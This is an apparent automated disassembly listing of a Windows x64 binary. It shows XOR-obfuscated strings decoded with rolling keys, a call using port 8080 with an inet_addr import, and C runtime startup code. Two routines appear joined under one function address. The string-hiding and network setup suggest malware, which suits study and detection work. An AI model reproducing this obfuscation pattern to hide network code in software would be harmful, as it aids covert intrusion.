Function at 0x14002a630
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xf8
lea rsi, [0x14002b020]
call fcn.1400015a4
lea rax, [rsp + 0x84]
mov ecx, 9
mov dl, 0x32
lea rdi, [rsp + 0x84]
rep movsd dword [rdi], dword [rsi]
mov rsi, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x56
jne 0x140002327
lea rax, [rsp + 0xb8]
mov rcx, rsi
lea rbx, [rsp + 0xa8]
mov qword [rsp + 0xa8], rax
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x60], rax
lea rdi, [rsi + rax]
cmp rax, 0xf
jbe 0x140002387
lea rdx, [rsp + 0x60]
xor r8d, r8d
mov rcx, rbx
call fcn.140023d00
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0xa8]
mov rdx, rsi
mov r8, rdi
call fcn.140021f60
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0xa8]
mov rcx, rbx
mov qword [rsp + 0xb0], rax
mov byte [rdx + rax], 0
call fcn.140001979
mov rcx, rbx
call fcn.140021930
mov edx, 0x32
movabs rax, 0x45004d00410071
mov qword [rsp + 0x28], rax
movabs rax, 0x50006f00580042
mov qword [rsp + 0x30], rax
movabs rax, 0x3d006800690054
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x28]
mov rbp, rax
xor word [rax], dx
inc edx
add rax, 2
cmp dx, 0x3e
jne 0x1400023fd
lea rsi, str.q_thb_YVMH_nGL4__pv
mov ecx, 0x12
mov rdi, rbx
mov eax, 0x32
rep movsd dword [rdi], dword [rsi]
lea rdx, [rsp + 0xa8]
xor word [rdx], ax
inc eax
add rdx, 2
cmp ax, 0x56
jne 0x14000242a
lea rax, [rsp + 0x70]
mov rcx, rbx
lea rsi, [rsp + 0x60]
mov qword [rsp + 0x60], rax
lea rdi, [rsp + 0x40]
call sub.msvcrt.dll_wcslen
mov rdx, rbx
mov rcx, rsi
lea r8, [rbx + rax*2]
call fcn.140001540
lea rax, [rsp + 0x50]
mov rcx, rbp
mov qword [rsp + 0x40], rax
call sub.msvcrt.dll_wcslen
mov rdx, rbp
mov rcx, rdi
lea r8, [rbp + rax*2]
call fcn.140001540
mov rdx, rsi
mov rcx, rdi
call fcn.140001a82
mov rcx, rdi
call fcn.1400252a0
mov rcx, rsi
call fcn.1400252a0
mov dword [rsp + 0x68], 0x130e090b
mov rdx, rsi
movabs rax, 0x170001071b060a03
mov word [rsp + 0x6c], 0x3f0f
mov qword [rsp + 0x60], rax
mov al, 0x32
xor byte [rdx], al
inc eax
inc rdx
cmp al, 0x40
jne 0x1400024c4
mov r8d, 0x1f90
mov rdx, rsi
mov rcx, rdi
call fcn.14000220e
mov rsi, rax
mov rcx, rbx
call fcn.140021930
mov rcx, rsi
jmp 0x14000250b
call fcn.14000d560
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp qword [sym.imp.WS2_32.dll_inet_addr]
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.14000c1c0
call fcn.140012940
mov rbx, qword [rax]
test rbx, rbx
jne 0x14002a67b
jmp 0x14002a6f1
test cl, cl
je 0x14002a6a8
and esi, 1
je 0x14002a690
mov esi, 1
call sub.msvcrt.dll__ismbblead
test eax, eax
je 0x14002a677
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x14002a658
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x14002a666
test cl, cl
je 0x14002a6a8
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x14002a6a8
cmp al, 0x20
jle 0x14002a698
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x14002a6d6
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x14002f050]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x1400022f4
lea rbx, [0x14002e4e0]
jmp 0x14002a6a8